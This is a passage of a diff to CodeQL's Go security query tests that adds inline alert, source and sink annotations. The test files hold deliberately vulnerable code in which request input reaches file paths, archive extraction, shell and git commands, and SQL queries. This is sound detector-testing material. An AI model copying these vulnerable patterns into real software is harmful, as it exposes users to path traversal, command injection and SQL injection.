b/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/SuspiciousCharacterInRegexp.go @@ -3,7 +3,7 @@ package main import "regexp" func broken(hostNames []byte) string { - var hostRe = regexp.MustCompile("\bforbidden.host.org") + var hostRe = regexp.MustCompile("\bforbidden.host.org") // $ Alert if hostRe.Match(hostNames) { return "Must not target forbidden.host.org" } else { diff --git a/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/SuspiciousCharacterInRegexp.qlref b/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/SuspiciousCharacterInRegexp.qlref index 727f3528b23..17c2ba019cb 100644 --- a/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/SuspiciousCharacterInRegexp.qlref +++ b/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/SuspiciousCharacterInRegexp.qlref @@ -1 +1,2 @@ -Security/CWE-020/SuspiciousCharacterInRegexp.ql +query: Security/CWE-020/SuspiciousCharacterInRegexp.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/test.go b/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/test.go index ff3da9b8496..a872de93073 100644 --- a/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/test.go +++ b/go/ql/test/query-tests/Security/CWE-020/SuspiciousCharacterInRegexp/test.go @@ -4,23 +4,23 @@ import "regexp" func main() { // many backslashes - regexp.MustCompile("\a") // BAD + regexp.MustCompile("\a") // $ Alert // BAD regexp.MustCompile("\\a") - regexp.MustCompile("\\\a") // BAD - regexp.MustCompile("x\\\a") // BAD + regexp.MustCompile("\\\a") // $ Alert // BAD + regexp.MustCompile("x\\\a") // $ Alert // BAD regexp.MustCompile("\\\\a") - regexp.MustCompile("\\\\\a") // BAD + regexp.MustCompile("\\\\\a") // $ Alert // BAD regexp.MustCompile("\\\\\\a") - regexp.MustCompile("\\\\\\\a") // BAD + regexp.MustCompile("\\\\\\\a") // $ Alert // BAD regexp.MustCompile("\\\\\\\\a") - regexp.MustCompile("\\\\\\\\\a") // BAD + regexp.MustCompile("\\\\\\\\\a") // $ Alert // BAD regexp.MustCompile("\\\\\\\\\\a") // BAD: probably a mistake: - regexp.MustCompile("hello\aworld") - regexp.MustCompile("hello\\\aworld") - regexp.MustCompile("hello\bworld") - regexp.MustCompile("hello\\\bworld") + regexp.MustCompile("hello\aworld") // $ Alert + regexp.MustCompile("hello\\\aworld") // $ Alert + regexp.MustCompile("hello\bworld") // $ Alert + regexp.MustCompile("hello\\\bworld") // $ Alert // GOOD: more likely deliberate: regexp.MustCompile("hello\\aworld") regexp.MustCompile("hello\x07world") diff --git a/go/ql/test/query-tests/Security/CWE-022/GorillaMuxDefault/TaintedPath.qlref b/go/ql/test/query-tests/Security/CWE-022/GorillaMuxDefault/TaintedPath.qlref index 1e9166dd1ca..688f7b5136f 100644 --- a/go/ql/test/query-tests/Security/CWE-022/GorillaMuxDefault/TaintedPath.qlref +++ b/go/ql/test/query-tests/Security/CWE-022/GorillaMuxDefault/TaintedPath.qlref @@ -1,2 +1,4 @@ query: Security/CWE-022/TaintedPath.ql -postprocess: utils/test//PrettyPrintModels.ql \ No newline at end of file +postprocess: + - utils/test//PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-022/GorillaMuxSkipClean/MuxClean.go b/go/ql/test/query-tests/Security/CWE-022/GorillaMuxSkipClean/MuxClean.go index cb3b5d2a7b8..2767b5e6b5a 100644 --- a/go/ql/test/query-tests/Security/CWE-022/GorillaMuxSkipClean/MuxClean.go +++ b/go/ql/test/query-tests/Security/CWE-022/GorillaMuxSkipClean/MuxClean.go @@ -10,8 +10,8 @@ import ( // BAD: Gorilla's `Vars` is not a sanitizer as `Router.SkipClean` has been called func GorillaHandler(w http.ResponseWriter, r *http.Request) { - not_tainted_path := mux.Vars(r)["id"] - data, _ := ioutil.ReadFile(filepath.Join("/home/user/", not_tainted_path)) + not_tainted_path := mux.Vars(r)["id"] // $ Source + data, _ := ioutil.ReadFile(filepath.Join("/home/user/", not_tainted_path)) // $ Alert w.Write(data) } diff --git a/go/ql/test/query-tests/Security/CWE-022/GorillaMuxSkipClean/TaintedPath.qlref b/go/ql/test/query-tests/Security/CWE-022/GorillaMuxSkipClean/TaintedPath.qlref index 1e9166dd1ca..688f7b5136f 100644 --- a/go/ql/test/query-tests/Security/CWE-022/GorillaMuxSkipClean/TaintedPath.qlref +++ b/go/ql/test/query-tests/Security/CWE-022/GorillaMuxSkipClean/TaintedPath.qlref @@ -1,2 +1,4 @@ query: Security/CWE-022/TaintedPath.ql -postprocess: utils/test//PrettyPrintModels.ql \ No newline at end of file +postprocess: + - utils/test//PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-022/TaintedPath.go b/go/ql/test/query-tests/Security/CWE-022/TaintedPath.go index 65da5caecd2..812b56f7c94 100644 --- a/go/ql/test/query-tests/Security/CWE-022/TaintedPath.go +++ b/go/ql/test/query-tests/Security/CWE-022/TaintedPath.go @@ -12,14 +12,14 @@ import ( ) func handler(w http.ResponseWriter, r *http.Request) { - tainted_path := r.URL.Query()["path"][0] + tainted_path := r.URL.Query()["path"][0] // $ Source[go/path-injection] // BAD: This could read any file on the file system - data, _ := ioutil.ReadFile(tainted_path) + data, _ := ioutil.ReadFile(tainted_path) // $ Alert[go/path-injection] w.Write(data) // BAD: This could still read any file on the file system - data, _ = ioutil.ReadFile(filepath.Join("/home/user/", tainted_path)) + data, _ = ioutil.ReadFile(filepath.Join("/home/user/", tainted_path)) // $ Alert[go/path-injection] w.Write(data) // GOOD: This can only read inside the provided safe path @@ -71,7 +71,7 @@ func handler(w http.ResponseWriter, r *http.Request) { // BAD: Sanitized by path.Clean with a prepended '/' forcing interpretation // as an absolute path, however is not sufficient for Windows paths. - data, _ = ioutil.ReadFile(path.Clean("/" + tainted_path)) + data, _ = ioutil.ReadFile(path.Clean("/" + tainted_path)) // $ Alert[go/path-injection] w.Write(data) // GOOD: Multipart.Form.FileHeader.Filename sanitized by filepath.Base when calling ParseMultipartForm diff --git a/go/ql/test/query-tests/Security/CWE-022/TaintedPath.qlref b/go/ql/test/query-tests/Security/CWE-022/TaintedPath.qlref index 78ce25b1921..6eb2e94892f 100644 --- a/go/ql/test/query-tests/Security/CWE-022/TaintedPath.qlref +++ b/go/ql/test/query-tests/Security/CWE-022/TaintedPath.qlref @@ -1,2 +1,4 @@ query: Security/CWE-022/TaintedPath.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlink.go b/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlink.go index 8a3016f9c31..66a8763a2b0 100644 --- a/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlink.go +++ b/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlink.go @@ -28,7 +28,7 @@ func unzipSymlinkBad(f io.Reader, target string) { break } if isRel(header.Linkname, target) && isRel(header.Name, target) { - os.Symlink(header.Linkname, header.Name) + os.Symlink(header.Linkname, header.Name) // $ Alert[go/unsafe-unzip-symlink] } } } @@ -40,7 +40,7 @@ func unzipSymlinkBadZip(f io.ReaderAt, target string) { linkNameBytes, _ := ioutil.ReadAll(linkData) linkName := string(linkNameBytes) if isRel(linkName, target) && isRel(header.Name, target) { - os.Symlink(linkName, header.Name) + os.Symlink(linkName, header.Name) // $ Alert[go/unsafe-unzip-symlink] } } } @@ -109,7 +109,7 @@ func getNextHeader(f *tar.Reader) (*tar.Header, error) { } func writeSymlink(linkName, fileName string) { - os.Symlink(linkName, fileName) + os.Symlink(linkName, fileName) // $ Sink[go/unsafe-unzip-symlink] } // BAD: a variant of `unzipSymlinkBad` where the tar-read and symlink @@ -123,7 +123,7 @@ func unzipSymlinkBadFactored(f io.Reader, target string) { break } if isRel(header.Linkname, target) && isRel(header.Name, target) { - writeSymlink(header.Linkname, header.Name) + writeSymlink(header.Linkname, header.Name) // $ Alert[go/unsafe-unzip-symlink] } } } diff --git a/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlink.qlref b/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlink.qlref index a40aa6194e1..5971b073735 100644 --- a/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlink.qlref +++ b/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlink.qlref @@ -1,2 +1,4 @@ query: Security/CWE-022/UnsafeUnzipSymlink.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlinkGood.go b/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlinkGood.go index dde03db263d..d662246a9c2 100644 --- a/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlinkGood.go +++ b/go/ql/test/query-tests/Security/CWE-022/UnsafeUnzipSymlinkGood.go @@ -58,7 +58,7 @@ func isRelGoodReadlink(candidate, target string) bool { if filepath.IsAbs(candidate) { return false } - realpath, err := os.Readlink(filepath.Join(target, candidate)) + realpath, err := os.Readlink(filepath.Join(target, candidate)) // $ Sink[go/zipslip] if err != nil { return false } @@ -69,7 +69,7 @@ func isRelGoodReadlink(candidate, target string) bool { func unzipSymlinkGoodReadlink(f io.Reader, target string) { r := tar.NewReader(f) for { - header, err := r.Next() + header, err := r.Next() // $ Alert[go/zipslip] if err != nil { break } diff --git a/go/ql/test/query-tests/Security/CWE-022/ZipSlip.go b/go/ql/test/query-tests/Security/CWE-022/ZipSlip.go index 1628eabbef9..936c3c8e9a2 100644 --- a/go/ql/test/query-tests/Security/CWE-022/ZipSlip.go +++ b/go/ql/test/query-tests/Security/CWE-022/ZipSlip.go @@ -11,6 +11,6 @@ func unzip(f string) { for _, f := range r.File { p, _ := filepath.Abs(f.Name) // BAD: This could overwrite any file on the file system - ioutil.WriteFile(p, []byte("present"), 0666) - } + ioutil.WriteFile(p, []byte("present"), 0666) // $ Sink[go/zipslip] + } // $ Alert[go/zipslip] } diff --git a/go/ql/test/query-tests/Security/CWE-022/ZipSlip.qlref b/go/ql/test/query-tests/Security/CWE-022/ZipSlip.qlref index da30bbaf10d..39acfb7ca4a 100644 --- a/go/ql/test/query-tests/Security/CWE-022/ZipSlip.qlref +++ b/go/ql/test/query-tests/Security/CWE-022/ZipSlip.qlref @@ -1,2 +1,4 @@ query: Security/CWE-022/ZipSlip.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-022/tarslip.go b/go/ql/test/query-tests/Security/CWE-022/tarslip.go index 37b3a32715c..f7e01ff0565 100644 --- a/go/ql/test/query-tests/Security/CWE-022/tarslip.go +++ b/go/ql/test/query-tests/Security/CWE-022/tarslip.go @@ -12,8 +12,8 @@ import ( func untarBad(reader io.Reader, prefix string) { tarReader := tar.NewReader(reader) - header, _ := tarReader.Next() - os.MkdirAll(path.Dir(header.Name), 0755) // NOT OK + header, _ := tarReader.Next() // $ Alert[go/zipslip] + os.MkdirAll(path.Dir(header.Name), 0755) // $ Sink[go/zipslip] // NOT OK } func untarGood(reader io.Reader, prefix string) { diff --git a/go/ql/test/query-tests/Security/CWE-022/tst.go b/go/ql/test/query-tests/Security/CWE-022/tst.go index 599faccf0f1..4cf3a77c4c8 100644 --- a/go/ql/test/query-tests/Security/CWE-022/tst.go +++ b/go/ql/test/query-tests/Security/CWE-022/tst.go @@ -26,7 +26,7 @@ func unzip2(f string, root string) { if err == nil { ioutil.WriteFile(filepath.Join(root, relpath), []byte("present"), 0666) // OK } - ioutil.WriteFile(path, []byte("present"), 0666) // NOT OK + ioutil.WriteFile(path, []byte("present"), 0666) // $ Sink[go/zipslip] // NOT OK if containedIn(path, root) { ioutil.WriteFile(path, []byte("present"), 0666) // OK } @@ -40,7 +40,7 @@ func unzip2(f string, root string) { if containedIn(f.Name, root) { ioutil.WriteFile(f.Name, []byte("present"), 0666) // OK } - } + } // $ Alert[go/zipslip] } func containedIn(f string, root string) bool { diff --git a/go/ql/test/query-tests/Security/CWE-078/ArgumentInjection.go b/go/ql/test/query-tests/Security/CWE-078/ArgumentInjection.go index d38d4662542..7519916afe0 100644 --- a/go/ql/test/query-tests/Security/CWE-078/ArgumentInjection.go +++ b/go/ql/test/query-tests/Security/CWE-078/ArgumentInjection.go @@ -6,7 +6,7 @@ import ( ) func handler2(req *http.Request) { - path := req.URL.Query()["path"][0] - cmd := exec.Command("rsync", path, "/tmp") + path := req.URL.Query()["path"][0] // $ Source[go/command-injection] + cmd := exec.Command("rsync", path, "/tmp") // $ Alert[go/command-injection] cmd.Run() } diff --git a/go/ql/test/query-tests/Security/CWE-078/CommandInjection.go b/go/ql/test/query-tests/Security/CWE-078/CommandInjection.go index ff046f24084..a8af53b7fc5 100644 --- a/go/ql/test/query-tests/Security/CWE-078/CommandInjection.go +++ b/go/ql/test/query-tests/Security/CWE-078/CommandInjection.go @@ -6,7 +6,7 @@ import ( ) func handler(req *http.Request) { - cmdName := req.URL.Query()["cmd"][0] - cmd := exec.Command(cmdName) + cmdName := req.URL.Query()["cmd"][0] // $ Source[go/command-injection] + cmd := exec.Command(cmdName) // $ Alert[go/command-injection] cmd.Run() } diff --git a/go/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref b/go/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref index 2b07372975f..b1836a682e3 100644 --- a/go/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref +++ b/go/ql/test/query-tests/Security/CWE-078/CommandInjection.qlref @@ -1,2 +1,4 @@ query: Security/CWE-078/CommandInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-078/CommandInjection2.go b/go/ql/test/query-tests/Security/CWE-078/CommandInjection2.go index 943a3f72f05..975ff72d177 100644 --- a/go/ql/test/query-tests/Security/CWE-078/CommandInjection2.go +++ b/go/ql/test/query-tests/Security/CWE-078/CommandInjection2.go @@ -10,9 +10,9 @@ import ( ) func handlerExample(req *http.Request) { - imageName := req.URL.Query()["imageName"][0] + imageName := req.URL.Query()["imageName"][0] // $ Source[go/command-injection] outputPath := "/tmp/output.svg" - cmd := exec.Command("sh", "-c", fmt.Sprintf("imagetool %s > %s", imageName, outputPath)) // NOT OK - correctly flagged + cmd := exec.Command("sh", "-c", fmt.Sprintf("imagetool %s > %s", imageName, outputPath)) // $ Alert[go/command-injection] // NOT OK - correctly flagged cmd.Run() // ... } @@ -38,10 +38,10 @@ func handlerExample2(req *http.Request) { } func handlerExample3(req *http.Request) { - imageName := req.URL.Query()["imageName"][0] + imageName := req.URL.Query()["imageName"][0] // $ Source[go/command-injection] outputPath := "/tmp/output.svg" - cmd := exec.Command("sh", "-c", fmt.Sprintf("imagetool %s > %s", imageName, outputPath)) // NOT OK - correctly flagged + cmd := exec.Command("sh", "-c", fmt.Sprintf("imagetool %s > %s", imageName, outputPath)) // $ Alert[go/command-injection] // NOT OK - correctly flagged cmd.Run() // Validate the imageName with a regular expression diff --git a/go/ql/test/query-tests/Security/CWE-078/GitSubcommands.go b/go/ql/test/query-tests/Security/CWE-078/GitSubcommands.go index 5e72e5825af..80322dcd27b 100644 --- a/go/ql/test/query-tests/Security/CWE-078/GitSubcommands.go +++ b/go/ql/test/query-tests/Security/CWE-078/GitSubcommands.go @@ -8,13 +8,13 @@ import ( // BAD: using git subcommands that are vulnerable to arbitrary remote command execution func gitSubcommandsBad(req *http.Request) { - tainted := req.URL.Query()["cmd"][0] + tainted := req.URL.Query()["cmd"][0] // $ Source[go/command-injection] - exec.Command("git", "clone", tainted) - exec.Command("git", "fetch", tainted) - exec.Command("git", "pull", tainted) - exec.Command("git", "ls-remote", tainted) - exec.Command("git", "fetch-pack", tainted) + exec.Command("git", "clone", tainted) // $ Alert[go/command-injection] + exec.Command("git", "fetch", tainted) // $ Alert[go/command-injection] + exec.Command("git", "pull", tainted) // $ Alert[go/command-injection] + exec.Command("git", "ls-remote", tainted) // $ Alert[go/command-injection] + exec.Command("git", "fetch-pack", tainted) // $ Alert[go/command-injection] } // GOOD: using a sampling of git subcommands that are not vulnerable to arbitrary remote command execution @@ -30,11 +30,11 @@ func gitSubcommandsGood(req *http.Request) { // BAD: using git subcommands that are vulnerable to arbitrary remote command execution func gitSubcommandsGood2(req *http.Request) { - tainted := req.URL.Query()["cmd"][0] + tainted := req.URL.Query()["cmd"][0] // $ Source[go/command-injection] if !strings.HasPrefix(tainted, "--") { exec.Command("git", "clone", tainted) // GOOD, `tainted` cannot start with "--" } else { - exec.Command("git", "clone", tainted) // BAD, `tainted` can start with "--" + exec.Command("git", "clone", tainted) // $ Alert[go/command-injection] // BAD, `tainted` can start with "--" } } diff --git a/go/ql/test/query-tests/Security/CWE-078/SanitizingDoubleDash.go b/go/ql/test/query-tests/Security/CWE-078/SanitizingDoubleDash.go index 0428df55086..9a8692319bb 100644 --- a/go/ql/test/query-tests/Security/CWE-078/SanitizingDoubleDash.go +++ b/go/ql/test/query-tests/Security/CWE-078/SanitizingDoubleDash.go @@ -6,12 +6,12 @@ import ( ) func testDoubleDashSanitizes(req *http.Request) { - tainted := req.URL.Query()["cmd"][0] + tainted := req.URL.Query()["cmd"][0] // $ Source[go/command-injection] // BAD: no sanitizing "--" preceding tainted data { arrayLit := [1]string{tainted} - exec.Command("git", arrayLit[:]...) + exec.Command("git", arrayLit[:]...) // $ Alert[go/command-injection] } // GOOD: sanitizing "--" preceding tainted data @@ -37,7 +37,7 @@ func testDoubleDashSanitizes(req *http.Request) { { arrayLit := []string{} arrayLit = append(arrayLit, tainted, "--") - exec.Command("git", arrayLit...) + exec.Command("git", arrayLit...) // $ Alert[go/command-injection] } // GOOD: sanitizing "--" preceding tainted data, built in two steps @@ -51,7 +51,7 @@ func testDoubleDashSanitizes(req *http.Request) { { arrayLit := []string{tainted} arrayLit = append(arrayLit, "--") - exec.Command("git", arrayLit...) + exec.Command("git", arrayLit...) // $ Alert[go/command-injection] } // GOOD: sanitizing "--" preceding tainted data, built in three steps @@ -67,7 +67,7 @@ func testDoubleDashSanitizes(req *http.Request) { arrayLit := []string{"something else"} arrayLit = append(arrayLit, tainted) arrayLit = append(arrayLit, "--") - exec.Command("git", arrayLit...) + exec.Command("git", arrayLit...) // $ Alert[go/command-injection] } // GOOD: sanitizing "--" preceding tainted data, used directly in a Command @@ -77,7 +77,7 @@ func testDoubleDashSanitizes(req *http.Request) { // BAD: sanitizing "--" comes after tainted data, used directly in a Command { - exec.Command("git", tainted, "--") + exec.Command("git", tainted, "--") // $ Alert[go/command-injection] } // GOOD: sanitizing "--" preceding tainted data, used directly in a Command, after several other arguments @@ -89,66 +89,66 @@ func testDoubleDashSanitizes(req *http.Request) { // This test mirrors testDoubleDashSanitizes above, but uses sudo instead of git, where "--" is not sanitizing. // All cases are therefore BAD. func testDoubleDashIrrelevant(req *http.Request) { - tainted := req.URL.Query()["cmd"][0] + tainted := req.URL.Query()["cmd"][0] // $ Source[go/command-injection] { arrayLit := [1]string{tainted} - exec.Command("sudo", arrayLit[:]...) // BAD + exec.Command("sudo", arrayLit[:]...) // $ Alert[go/command-injection] // BAD } { arrayLit := [2]string{"--", tainted} - exec.Command("sudo", arrayLit[:]...) // BAD + exec.Command("sudo", arrayLit[:]...) // $ Alert[go/command-injection] // BAD } { arrayLit := []string{"--", tainted} - exec.Command("sudo", arrayLit...) // BAD + exec.Command("sudo", arrayLit...) // $ Alert[go/command-injection] // BAD } { arrayLit := []string{} arrayLit = append(arrayLit, "--", tainted) - exec.Command("sudo", arrayLit...) // BAD + exec.Command("sudo", arrayLit...) // $ Alert[go/command-injection] // BAD } { arrayLit := []string{} arrayLit = append(arrayLit, tainted, "--") - exec.Command("sudo", arrayLit...) // BAD + exec.Command("sudo", arrayLit...) // $ Alert[go/command-injection] // BAD } { arrayLit := []string{"--"} arrayLit = append(arrayLit, tainted) - exec.Command("sudo", arrayLit...) // BAD + exec.Command("sudo", arrayLit...) // $ Alert[go/command-injection] // BAD } { arrayLit := []string{tainted} arrayLit = append(arrayLit, "--") - exec.Command("sudo", arrayLit...) // BAD + exec.Command("sudo", arrayLit...) // $ Alert[go/command-injection] // BAD } { arrayLit := []string{"--"} arrayLit = append(arrayLit, "something else") arrayLit = append(arrayLit, tainted) - exec.Command("sudo", arrayLit...) // BAD + exec.Command("sudo", arrayLit...) // $ Alert[go/command-injection] // BAD } { arrayLit := []string{"something else"} arrayLit = append(arrayLit, tainted) arrayLit = append(arrayLit, "--") - exec.Command("sudo", arrayLit...) // BAD + exec.Command("sudo", arrayLit...) // $ Alert[go/command-injection] // BAD } { - exec.Command("sudo", "--", tainted) // BAD + exec.Command("sudo", "--", tainted) // $ Alert[go/command-injection] // BAD } { - exec.Command("sudo", tainted, "--") // BAD + exec.Command("sudo", tainted, "--") // $ Alert[go/command-injection] // BAD } } diff --git a/go/ql/test/query-tests/Security/CWE-078/StoredCommand.go b/go/ql/test/query-tests/Security/CWE-078/StoredCommand.go index 5b7c16d0c59..ee38e54f4da 100644 --- a/go/ql/test/query-tests/Security/CWE-078/StoredCommand.go +++ b/go/ql/test/query-tests/Security/CWE-078/StoredCommand.go @@ -8,9 +8,9 @@ import ( var db *sql.DB func run(query string) { - rows, _ := db.Query(query) + rows, _ := db.Query(query) // $ Source[go/stored-command] var cmdName string rows.Scan(&cmdName) - cmd := exec.Command(cmdName) + cmd := exec.Command(cmdName) // $ Alert[go/stored-command] cmd.Run() } diff --git a/go/ql/test/query-tests/Security/CWE-078/StoredCommand.qlref b/go/ql/test/query-tests/Security/CWE-078/StoredCommand.qlref index 92c41892880..d1bc2b0f697 100644 --- a/go/ql/test/query-tests/Security/CWE-078/StoredCommand.qlref +++ b/go/ql/test/query-tests/Security/CWE-078/StoredCommand.qlref @@ -1,2 +1,4 @@ query: Security/CWE-078/StoredCommand.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-089/SqlInjection.go b/go/ql/test/query-tests/Security/CWE-089/SqlInjection.go index 0df976d93c3..9e36ea24c99 100644 --- a/go/ql/test/query-tests/Security/CWE-089/SqlInjection.go +++ b/go/ql/test/query-tests/Security/CWE-089/SqlInjection.go @@ -8,6 +8,6 @@ import ( func handler(db *sql.DB, req *http.Request) { q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", - req.URL.Query()["category"]) - db.Query(q) + req.URL.Query()["category"]) // $ Source[go/sql-injection] + db.Query(q) // $ Alert[go/sql-injection] } diff --git a/go/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref b/go/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref index b6916bd2cd4..e1918157744 100644 --- a/go/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref +++ b/go/ql/test/query-tests/Security/CWE-089/SqlInjection.qlref @@ -1,2 +1,4 @@ query: Security/CWE-089/SqlInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-089/StringBreak.go b/go/ql/test/query-tests/Security/CWE-089/StringBreak.go index 5667ca35035..26cb9986c91 100644 --- a/go/ql/test/query-tests/Security/CWE-089/StringBreak.go +++ b/go/ql/test/query-tests/Security/CWE-089/StringBreak.go @@ -8,10 +8,10 @@ import ( ) func save(id string, version interface{}) { - versionJSON, _ := json.Marshal(version) + versionJSON, _ := json.Marshal(version) // $ Source[go/unsafe-quoting] sq.StatementBuilder. Insert("resources"). Columns("resource_id", "version_md5"). - Values(id, sq.Expr(fmt.Sprintf("md5('%s')", versionJSON))). + Values(id, sq.Expr(fmt.Sprintf("md5('%s')", versionJSON))). // $ Alert[go/unsafe-quoting] Exec() } diff --git a/go/ql/test/query-tests/Security/CWE-089/StringBreak.qlref b/go/ql/test/query-tests/Security/CWE-089/StringBreak.qlref index 45a8c419134..096091bde4c 100644 --- a/go/ql/test/query-tests/Security/CWE-089/StringBreak.qlref +++ b/go/ql/test/query-tests/Security/CWE-089/StringBreak.qlref @@ -1,2 +1,4 @@ query: Security/CWE-089/StringBreak.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-089/StringBreakMismatched.go b/go/ql/test/query-tests/Security/CWE-089/StringBreakMismatched.go index c838d5f6b7d..70f3af40d6f 100644 --- a/go/ql/test/query-tests/Security/CWE-089/StringBreakMismatched.go +++ b/go/ql/test/query-tests/Security/CWE-089/StringBreakMismatched.go @@ -10,23 +10,23 @@ import ( // Bad because quote characters are removed before concatenation, // but then enclosed in a different enclosing quote: func mismatch1(id string, version interface{}) { - versionJSON, _ := json.Marshal(version) + versionJSON, _ := json.Marshal(version) // $ Source[go/unsafe-quoting] escaped := strings.Replace(string(versionJSON), "\"", "", -1) sq.StatementBuilder. Insert("resources"). Columns("resource_id", "version_md5"). - Values(id, sq.Expr("'"+escaped+"'")). + Values(id, sq.Expr("'"+escaped+"'")). // $ Alert[go/unsafe-quoting] Exec() } // Bad because quote characters are removed before concatenation, // but then enclosed in a different enclosing quote: func mismatch2(id string, version interface{}) { - versionJSON, _ := json.Marshal(version) + versionJSON, _ := json.Marshal(version) // $ Source[go/unsafe-quoting] escaped := strings.Replace(string(versionJSON), "'", "", -1) sq.StatementBuilder. Insert("resources"). Columns("resource_id", "version_md5"). - Values(id, sq.Expr("\""+escaped+"\"")). + Values(id, sq.Expr("\""+escaped+"\"")). // $ Alert[go/unsafe-quoting] Exec() } diff --git a/go/ql/test/query-tests/Security/CWE-089/issue48.go b/go/ql/test/query-tests/Security/CWE-089/issue48.go index 2c23b617190..9ef91eb1350 100644 --- a/go/ql/test/query-tests/Security/CWE-089/issue48.go +++ b/go/ql/test/query-tests/Security/CWE-089/issue48.go @@ -14,29 +14,29 @@ func handler1(db *sql.DB, req *http.Request) { // read data from request body and unmarshal to a indeterminacy struct // POST: {"a": "b", "category": "test"} var RequestDataFromJson map[string]interface{} - b, _ := ioutil.ReadAll(req.Body) + b, _ := ioutil.ReadAll(req.Body) // $ Source[go/sql-injection] json.Unmarshal(b, &RequestDataFromJson) q3 := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", RequestDataFromJson["category"]) - db.Query(q3) // NOT OK + db.Query(q3) // $ Alert[go/sql-injection] // NOT OK // read data from request body and unmarshal to a determined struct // POST: {"id": "1", "category": "test"} var RequestDataFromJson2 RequestStruct - b2, _ := ioutil.ReadAll(req.Body) + b2, _ := ioutil.ReadAll(req.Body) // $ Source[go/sql-injection] json.Unmarshal(b2, &RequestDataFromJson2) q4 := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", RequestDataFromJson2.Category) - db.Query(q4) // NOT OK + db.Query(q4) // $ Alert[go/sql-injection] // NOT OK // read json data from a url parameter // GET: ?json={"id": 1, "category": "test"} var RequestDataFromJson3 RequestStruct - json.Unmarshal([]byte(req.URL.Query()["json"][0]), &RequestDataFromJson3) + json.Unmarshal([]byte(req.URL.Query()["json"][0]), &RequestDataFromJson3) // $ Source[go/sql-injection] q5 := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", RequestDataFromJson3.Category) - db.Query(q5) // NOT OK + db.Query(q5) // $ Alert[go/sql-injection] // NOT OK } diff --git a/go/ql/test/query-tests/Security/CWE-089/main.go b/go/ql/test/query-tests/Security/CWE-089/main.go index 7e5f5a35a9d..d0b17bf1145 100644 --- a/go/ql/test/query-tests/Security/CWE-089/main.go +++ b/go/ql/test/query-tests/Security/CWE-089/main.go @@ -8,12 +8,12 @@ import ( ) func test(db *sql.DB, r *http.Request) { - db.Query(r.Form["query"][0]) // NOT OK + db.Query(r.Form["query"][0]) // $ Alert[go/sql-injection] // NOT OK } func test2(tx *sql.Tx, r *http.Request) { - tx.Query(fmt.Sprintf("SELECT USER FROM USERS WHERE ID='%s'", r.URL.Query()["uuid"])) // NOT OK - tx.Query(fmt.Sprintf("SELECT USER FROM USERS WHERE ID='%s'", r.Header.Get("X-Uuid"))) // NOT OK + tx.Query(fmt.Sprintf("SELECT USER FROM USERS WHERE ID='%s'", r.URL.Query()["uuid"])) // $ Alert[go/sql-injection] // NOT OK + tx.Query(fmt.Sprintf("SELECT USER FROM USERS WHERE ID='%s'", r.Header.Get("X-Uuid"))) // $ Alert[go/sql-injection] // NOT OK } func main() {} @@ -27,39 +27,39 @@ type RequestStruct struct { func handler2(db *sql.DB, req *http.Request) { RequestData := &RequestStruct{ Id: 1, - Category: req.URL.Query()["category"], + Category: req.URL.Query()["category"], // $ Source[go/sql-injection] } q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE 